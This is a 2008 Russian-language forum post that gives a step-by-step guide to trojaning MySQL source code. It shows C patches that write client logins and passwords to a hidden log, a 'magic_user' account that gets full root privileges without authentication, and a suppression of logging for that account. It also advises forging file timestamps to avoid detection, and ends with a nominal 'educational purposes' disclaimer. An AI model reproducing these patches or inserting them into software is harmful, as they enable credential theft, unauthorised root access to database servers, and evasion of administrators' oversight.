Mysql backdooring

Discussion in 'Безопасность и Анонимность' started by Ky3bMu4, 19 Feb 2008.

  1. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    На днях пришлось разбирался с сорцами мускула и решил немного похулиганить:).

    Итак, что мы сделаем:
    1)Потрояним mysql-client(mysql и mysqladmin) - логин и пасс юзеров будет писаться в наш лог
    2)Потрояним mysql-server(у меня 5.1.23) - при заходе на сервер с логином 'magic_login' юзеру будут даваться рутовые права, лог вестись естественно небудет.

    Для начала читаем - SSH backdooring, тут описано как не запалится по дате изменения файла,дан нужный нам файл entropy.h(точнее shad_passlog() и т.д.)(надеюсь ShadOS не обидется, если я возьму его наработку:)) и т.д.

    Итак, нам нужен будет сам мускул(я надеюсь вы знаете где его взять:)), разархивируем его куда-нибудь.

    Для начала потрояним mysql-client.
    Открываем файл ./client/mysql.cc

    Code:
    #include "entropy.h" //наш файл(пусть лежит ./client/)
    .......
    int main(int argc,char *argv[])
    {
    .......
    sprintf(shad_buff, "mysql password auth: user: %s \tpass: %s\n",
                             current_user, opt_password);
                     shad_passlog(); 
     put_info("Welcome to the MySQL monitor.  Commands end with ; or \\g.",
    	   INFO_INFO);// авторизация прошла успешно, записываем логин и пасс
    .......
    
    Теперь ./client/mysqladmin.cc

    Code:
    #include "entropy.h"
    .......
    int main(int argc,char *argv[])
    {
    .......
    sprintf(shad_buff, "mysqladmin password auth: user: %s \tpass: %s\n",
                             current_user, opt_password);
                     shad_passlog(); 
      my_free(opt_password,MYF(MY_ALLOW_ZERO_PTR));
      my_free(user,MYF(MY_ALLOW_ZERO_PTR));
    .......
    

    Далее файл ./sql/sql_connect.cc

    Code:
    .......
    int
    check_user(THD *thd, enum enum_server_command command,
    	       const char *passwd, uint passwd_len, const char *db,
    	       bool check_count)
    {
    if(!strcmp(thd->security_ctx->user,"magic_user")){ //если это наш магический юзер, то берём рутовые права
    		  thd->client_capabilities=239119;
                      thd->max_client_packet_length=16777316;//эти 2 числа, в общем, любые
    
                      thd->main_security_ctx.host_or_ip="localhost";//откуда юзер подключился
                      thd->main_security_ctx.user="magic_user";//оставляем таким(при отмене логгирования понадобится)
                      thd->main_security_ctx.priv_user="root";//привилегии
                      thd->main_security_ctx.master_access= GLOBAL_ACLS;//полный доступ
    		  thd->db=0;//это вообще дефолт
    	DBUG_RETURN(0);//авторизован успешно =)))
       }
    .......
    
    Ну и ./sql/log.cc

    Code:
    .......
    bool Log_to_csv_event_handler::
      log_general(THD *thd, time_t event_time, const char *user_host,
                  uint user_host_len, int thread_id,
                  const char *command_type, uint command_type_len,
                  const char *sql_text, uint sql_text_len,
                  CHARSET_INFO *client_cs)
    {
    .......
      bool save_time_zone_used;
      if(!strcmp(thd->security_ctx->user,"magic_user")) return 0;//лог записан успешно =)))
    .......
    
    Остаётся только всё пересобрать и исправить дату изменния файлов mysql , mysqladmin , mysqld , mysql-server.sh , gen_lex_hash , mysql_tzinfo_to_sql .

    Ну вот, в общем, и всё :)


    Внимание!Автор не несёт ответственности за использование материала по прямому назначению, т.к. статья созданна исключительно в образовательных целях.
     
    #1 Ky3bMu4, 19 Feb 2008
    Last edited: 15 Jul 2008
    3 people like this.